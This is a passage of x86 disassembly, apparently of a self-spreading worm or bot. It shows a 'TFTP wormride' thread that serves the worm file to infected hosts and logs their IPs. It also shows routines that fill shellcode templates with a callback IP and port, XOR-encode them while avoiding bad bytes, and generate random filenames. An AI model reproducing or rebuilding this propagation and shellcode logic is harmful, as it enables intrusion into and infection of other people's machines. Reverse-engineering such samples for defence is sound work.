loc_411E1D:				; CODE XREF: sub_411DC5+43j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1B0], 2
		push	45h
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_1AE], ax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_417244	; inet_addr
		mov	[ebp+var_1AC], eax
		mov	[ebp+var_1A0], 1
		push	4
		lea	eax, [ebp+var_1A0]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_108]
		call	ds:dword_417204	; setsockopt
		push	10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_108]
		call	ds:dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411EC2:				; CODE XREF: sub_411DC5+E8j
		push	offset aRb	; "rb"
		push	offset dword_41EBFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_411F01
		push	[ebp+var_108]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411F01:				; CODE XREF: sub_411DC5+11Bj
		mov	eax, [ebp+var_358]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_411F66:				; CODE XREF: sub_411DC5:loc_412084j
					; sub_411DC5:loc_4123C6j
		mov	[ebp+var_B64], 1
		and	[ebp+var_B60], 0
		and	[ebp+var_B5C], 0


loc_411F7E:				; CODE XREF: sub_411DC5+234j
		and	[ebp+var_B68], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------


loc_411F87:				; CODE XREF: sub_411DC5:loc_411FB9j
		mov	eax, [ebp+var_B68]
		inc	eax
		mov	[ebp+var_B68], eax


loc_411F94:				; CODE XREF: sub_411DC5+1C0j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnb	short loc_411FBB
		mov	eax, [ebp+var_B68]
		mov	eax, [ebp+eax*4+var_B58]
		cmp	eax, [ebp+var_108]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------


loc_411FB9:				; CODE XREF: sub_411DC5+1F0j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_411DC5+1DBj
					; sub_411DC5+1F2j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnz	short loc_411FF5
		cmp	[ebp+var_B5C], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp+var_B68]
		mov	ecx, [ebp+var_108]
		mov	[ebp+eax*4+var_B58], ecx
		mov	eax, [ebp+var_B5C]
		inc	eax
		mov	[ebp+var_B5C], eax


loc_411FF5:				; CODE XREF: sub_411DC5+202j
					; sub_411DC5+20Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp+var_B64]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_B5C]
		push	eax
		push	0
		call	ds:dword_41722C	; select
		test	eax, eax
		jle	loc_4123B8
		mov	[ebp+var_D84], 10h
		mov	al, ds:byte_41DF00
		mov	[ebp+var_D70], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp+var_D6F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+var_108]
		call	ds:dword_417258	; recvfrom
		mov	[ebp+var_B6C], eax
		cmp	[ebp+var_B6C], 0
		jz	short loc_412084
		cmp	[ebp+var_B6C], 0FFFFFFFFh
		jnz	short loc_412089


loc_412084:				; CODE XREF: sub_411DC5+2B4j
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_411DC5+2BDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, [ebp+var_19B]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D88], eax
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D8C], eax
		mov	eax, [ebp+var_D88]
		inc	eax
		inc	eax
		mov	[ebp+var_D88], eax
		mov	eax, [ebp+var_D8C]
		inc	eax
		inc	eax
		mov	[ebp+var_D8C], eax
		push	[ebp+var_D8C]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_D8C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_D8C], eax
		push	offset aOctet	; "octet"
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_D8C]
		push	offset aOctet	; "octet"
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	[ebp+var_108]
		call	ds:dword_417250	; sendto
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------


loc_41213F:				; CODE XREF: sub_411DC5+354j
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		and	[ebp+var_D6E], 0
		mov	[ebp+var_D6D], 1
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D90], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D90]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	ds:dword_417250	; sendto


loc_4121BB:				; CODE XREF: sub_411DC5+378j
		jmp	loc_4123B8
; ---------------------------------------------------------------------------


loc_4121C0:				; CODE XREF: sub_411DC5+2CDj
					; sub_411DC5+2DDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, [ebp+var_19B]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp+var_19A]
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_199]
		mov	[ebp+var_D98], al
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		movzx	eax, [ebp+var_D98]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp+var_DA0]
		add	al, 1
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		and	[ebp+var_D98], 0
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------


loc_412242:				; CODE XREF: sub_411DC5+44Cj
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		mov	al, [ebp+var_D98]
		add	al, 1
		mov	[ebp+var_D98], al
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al


loc_412268:				; CODE XREF: sub_411DC5+47Bj
		movzx	eax, [ebp+var_DA0]
		shl	eax, 8
		movzx	ecx, [ebp+var_D98]
		lea	eax, [eax+ecx-1]
		mov	[ebp+var_D9C], eax
		push	0
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		push	eax
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D94], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D94]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	ds:dword_417250	; sendto
		cmp	[ebp+var_D94], 0
		jnz	loc_412394
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		cmp	eax, [ebp+var_4]
		jb	loc_412394
		mov	eax, [ebp+var_D7C]
		mov	[ebp+var_DA8], eax
		push	[ebp+var_DA8]
		push	offset dword_41EBE0
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA4], eax
		mov	eax, [ebp+var_DA4]
		cmp	eax, [ebp+var_DA8]
		jz	short loc_412394
		push	1
		push	offset dword_41EBE4
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_DAC], eax
		push	10h
		push	[ebp+var_D7C]
		call	ds:dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		push	eax
		mov	eax, [ebp+var_DAC]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 14h


loc_412394:				; CODE XREF: sub_411DC5+52Dj
					; sub_411DC5+53Fj ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------


loc_412396:				; CODE XREF: sub_411DC5+404j
					; sub_411DC5+414j
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	[ebp+var_108]
		call	ds:dword_417250	; sendto


loc_4123B8:				; CODE XREF: sub_411DC5+252j
					; sub_411DC5:loc_4121BBj ...
		mov	eax, [ebp+var_358]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------


loc_4123C6:				; CODE XREF: sub_411DC5+5FDj
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_4123CB:				; CODE XREF: sub_411DC5+5FFj
		push	[ebp+var_10C]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_108]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_4123F1:				; CODE XREF: sub_411DC5+53j
					; sub_411DC5+F8j ...
		pop	edi
		leave
		retn	4
sub_411DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------


loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------


loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------


loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------


loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------


loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------


loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------


loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax


loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	ds:dword_417244	; inet_addr
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax


loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx


loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: sub_410649+8Bp
					; sub_410B52+41p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset loc_41C7C8
		push	[ebp+var_10]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, ds:dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------


loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ds:dword_41CB98, eax


loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------


loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, ds:byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------


loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	ds:byte_41CB95,	al


loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------


loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------


loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------


loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0


loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset dword_418620
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------


loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------


loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	ds:dword_41EBEC, 0
		jnz	loc_4128A0
		mov	ds:dword_41EBEC, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------


loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax


loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	ds:off_41DB18[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	ds:off_41DB18[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	ds:off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	ds:dword_41EBF0, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------


loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------


loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	ds:dword_41EBF0, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset dword_41ED10
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0


loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; sub_412D56+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------


loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417248	; recv
		mov	eax, [ebp+var_4]

locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; sub_412D56+3Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------


loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	ds:off_41CDAE[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, ds:dword_41CDA6[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
